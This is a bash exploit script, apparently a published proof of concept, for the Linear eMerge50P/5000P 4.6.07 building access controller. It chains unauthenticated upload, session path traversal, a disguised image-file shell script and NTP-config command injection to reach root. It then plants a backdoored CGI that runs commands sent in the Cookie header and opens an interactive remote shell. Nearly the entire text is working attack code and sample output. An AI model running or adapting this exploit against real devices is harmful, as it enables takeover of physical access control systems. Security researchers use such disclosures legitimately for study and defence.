Linear eMerge50P/5000P 4.6.07 Remote Code Execution

#!/bin/bash
#
# Full remote code execution exploit for the Linear eMerge50P/5000P 4.6.07
# Including escalating to root privileges
# CVE: CVE-2019-7266, CVE-2019-7267, CVE-2019-7268, CVE-2019-7269
# Advisory: https://applied-risk.com/resources/ar-2019-006
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# 
# This script is tested on macOS 10.13.6
# by Sipke Mellema
#
# usage: ./sploit.sh http://target
#
##########################################################################
#
# $ ./sploit.sh http://192.168.1.1
#
#
#   .         .         .         .         .
# .          .         .          .          . 
#|          |Linear eMerge50 4.6.07|          |
#|          |                      |          |
#|          |Remote code executionz|          |
#|          | With priv escalation |          |
#|          |    Get yours today   |          |
#|          |          |           |          |
#|          |        Boomch        |          |
# .          .         .          .          . 
#      .        .        .        .        . 
#
#
#
# [*] Checking connection to the target..
# [V] We can connect to the server
# [*] Checking if already infected..
# [V] Target not yet infected..
# [*] Creating custom session file..
# [*] Uploading custom session file..
# [V] Session file active!
# [*] Retrieving CSRF token..
# [V] CSRF_TOKEN: AI1R5ebMTZXL8Vu6RyhcTuavuaEbZvy9
# [*] Uploading file..
# [V] File successfully uploaded
# [*] Writing new config..
# [V] Wrote new config, restarting device
# [*] Looks good! Waiting for device to reboot..
# [V] Executing: whoami..
# [V] Username found: root
# [*] Cleaning up uploaded files..
# [*] Removing fake backup file..
# [*] Removing shell script..
# [*] Files removed
#
# [*] If that worked, you can how execute commands via your cookie
# [*] The URL is: http://192.168.1.1/cgi-bin/websrunnings.cgi
# [*] Or type commands below ('quit' to quit)
#
# root@http://192.168.1.1$ id
# uid=0(root) gid=0(root) groups=0(root)
# root@http://192.168.1.1$ quit
#
##########################################################################

RED='\033[0;31m'; BLUE='\033[0;34m'; GREEN='\033[0;32m'; NC='\033[0m'
BANNER="
\t   .         .         .         .         .
\t .          .         .          .          . 
\t|          |${BLUE}Linear eMerge50 4.6.07${RED}|          |
\t|          |${BLUE}                      ${RED}|          |
\t|          |${BLUE}Remote code executionz${RED}|          |
\t|          |${BLUE} With priv escalation ${RED}|          |
\t|          |${BLUE}    Get yours today   ${RED}|          |
\t|          |${BLUE}          |           ${RED}|          |
\t|          |${BLUE}        Boomch        ${RED}|          |
\t .          .         .          .          . 
\t      .        .        .        .        . 
${NC}
"
printf "\n${RED}${BANNER}\n\n"

function echo_green {
  printf "${GREEN}[*] $@${NC}\n"
}
function echo_blue  { 
  printf "${BLUE}[V] $@${NC}\n" 
}
function echo_red   { 
  printf "${RED}[-] $@${NC}\n"  
}

function show_usage {
  echo -en "Usage: ./sploit.sh
"
}


# check arguments
if [ $# -eq 0 ]
  then
    echo_red "Incorrect parameters"
    show_usage
    exit
fi


# Define global paramters
VULN_HOST=$1
TEST_CMD="whoami"

# ========================= Vuln 2: Session ID allows path traversal
# Path traversal to session file injected as backup file
SESSION_ID="../web/upload/system/backup.upg"


function run_remote_shell {
  # shell is in the context of the lower privileged user called s2user
  # but the user has sudo rights
  # ========================= Vuln 5: Webserver runs as root
  TEST_CMD=''
  while read -p "${SPLOT_USERNAME}@${VULN_HOST}$ " TEST_CMD && [ "${TEST_CMD}" != "quit" ] ; do
    curl -s -k -H "Cookie: sudo $TEST_CMD" ${VULN_HOST}/cgi-bin/websrunnings.cgi
    echo ""
  done
}

# ========================= Pre-exploit checks

# check connection
echo_green "Checking connection to the target.."
RESULT=`curl -sL -w "%{http_code}\\n" ${VULN_HOST} -o /dev/null --connect-timeout 3 --max-time 5`
if [ "$RESULT" != "200" ] ; 
then
   echo_red "Could not connect to ${VULN_HOST} :(" ;
   exit
fi
echo_blue "We can connect to the server"

# check already infected
echo_green "Checking if already infected.."
RESULT=`curl -sL -w "%{http_code}\\n" ${VULN_HOST}/cgi-bin/websrunnings.cgi -o /dev/null --connect-timeout 3 --max-time 5`
if [ "$RESULT" == "200" ] ; then
   echo_blue "Target already seems to be infected"
   SPLOT_USERNAME=`curl -s -k -H "Cookie: sudo whoami" ${VULN_HOST}/cgi-bin/websrunnings.cgi`
   echo_blue "Username found: ${SPLOT_USERNAME}"
   read -p "Try shell directly? (Y/N)" TEST
   if [ "$TEST" == "Y" ] ; then
      echo_green "Trying direct shell.."
      run_remote_shell
      exit
    fi
else
   echo_blue "Target not yet infected.." ;
fi



# ========================= Vuln 1: Sys update CGI script allows unauthenticated upg-file upload
# Used to create file with the contents of a valid session file
# Session file required a timestamp from < 3600 seconds ago
# And a valid (remote) IP address

echo_green "Creating custom session file.."
# binary session file
SESS_FILE_BIN_PRE="MzEzMzc4MDA4NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABTeXN0ZW0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEFkbWluaXN0cmF0b3IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYWRtaW4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
SESS_FILE_BIN_POST="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAEAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQUkxUjVlYk1UWlhMOFZ1NlJ5aGNUdWF2dWFFYlp2eTkAAAAAYtPxW0o/71s="
# write session/backup file
printf $SESS_FILE_BIN_PRE | base64 -D > backup.upg
# write IP
MY_IP=`curl -s https://api.ipify.org`
printf ${MY_IP} >> backup.upg
printf $SESS_FILE_BIN_POST | base64 -D >> backup.upg
# replace timestamp
python -c "import struct,time,sys; sys.stdout.write(struct.pack('<i',int(time.time()+(3600*5))))" | dd of=backup.upg bs=1 seek=1080 count=4 conv=notrunc 2> /dev/null
# upload session as backup file
echo_green "Uploading custom session file.."
curl -s -F [email protected] ${VULN_HOST}/cgi-bin/uplsysupdate.cgi

# check if session file works
RESULT=`curl -s -w "%{http_code}\\n" --cookie ".sessionId=$SESSION_ID" ${VULN_HOST}/goform/foo -o /dev/null --connect-timeout 3 --max-time 5`
if [ "$RESULT" != "200" ] ; then
   echo_red "Creating session file didn't seem to work :(" ;
   exit
fi
echo_blue "Session file active!"



# ========================= Vuln 3: Image upload allows any file contents
# We use it to upload a shell script
# It will be run as root on startup

# get csrf token
echo_green "Retrieving CSRF token.."
CSRF_TOKEN=`curl -s --cookie ".sessionId=$SESSION_ID" ${VULN_HOST}/frameset/ | grep -E -o 'csrft           = "(.*)"' | awk -F '"' '{print $2}'`
echo_blue "CSRF_TOKEN: $CSRF_TOKEN"

if [ -z "$CSRF_TOKEN" ]; then
  echo_red "Could not get CSRF token :("
  exit
fi

# prepare file
# this will run as root
echo "cp /usr/local/s2/web/cgi-bin/websrunning.cgi /usr/local/s2/web/cgi-bin/websrunnings.cgi" > shell.jpg
echo 'sed -i '"'"'s/echo "OK"/A=\`\$HTTP_COOKIE\`;printf "\$A"/'"'"' /usr/local/s2/web/cgi-bin/websrunnings.cgi' >> shell.jpg

# upload file
echo_green "Uploading file.."
RESULT=`curl -s --cookie ".sessionId=$SESSION_ID" \
  -F "csrft=$CSRF_TOKEN" \
  -F "person=31337" \
  -F "[email protected]" \
  ${VULN_HOST}/person/upload/ | grep -o "File successfully uploaded"`
echo_blue $RESULT

if [[ ! "$RESULT" =~ "successfully" ]]; then
  echo_red "Could not upload file :("
  exit
fi



# ========================= Vuln 4: Config allows command injection
# Length is limited
# Also, no spaces allowed

# change config
# the file in the config file will be run as root at startup
echo_green "Writing new config.."
curl -s ${VULN_HOST}/goform/saveS2ConfVals --cookie ".sessionId=$SESSION_ID" --data "timeserver1=a.a%24%28bash%3C%2Fusr%2Flocal%2Fs2%2Fweb%2Fupload%2Fpics%2Fshell.jpg%29&timeserver2=&timeserver3=&timezone=America%2FChicago&save=Save&urlOk=cfgntp.asp&urlError=cfgntp.asp&okpage=cfgntp.asp" > /dev/null
echo_blue "Wrote new config, restarting device"

# restart device
RESULT=`curl -s --cookie ".sessionId=$SESSION_ID" ${VULN_HOST}/goform/restarts2Conf --data "changeNetwork=1" | grep -o "The proxy server could not handle the request"`
# this is supposed to get returned (device rebooting)
if [[ "$RESULT" =~ "could not handle the request" ]]; then
  echo_green "Looks good! Waiting for device to reboot.."
  sleep 20
  echo_blue "Executing: whoami.."
  SPLOT_USERNAME=`curl -s -k -H "Cookie: sudo whoami" ${VULN_HOST}/cgi-bin/websrunnings.cgi`
  echo_blue "Username found: ${SPLOT_USERNAME}"

  # cleanup
  echo_green "Cleaning up uploaded files.."
  echo_green "Removing fake backup file.."
  RESULT=`curl -s -k -H "Cookie: sudo rm /usr/local/s2/web/upload/system/backup.upg" ${VULN_HOST}/cgi-bin/websrunnings.cgi`
  echo_green "Removing shell script.."
  RESULT=`curl -s -k -H "Cookie: sudo rm /usr/local/s2/web/upload/pics/shell.jpg" ${VULN_HOST}/cgi-bin/websrunnings.cgi`
  echo_green "Files removed"

  # start shell
  echo ""
  echo_green "If that worked, you can now execute commands via your cookie"
  echo_green "The URL is: ${VULN_HOST}/cgi-bin/websrunnings.cgi"
  echo_green "Or type commands below ('quit' to quit)"
  echo ""

  run_remote_shell

else
    echo_red "Exploit failed :("
fi

exit

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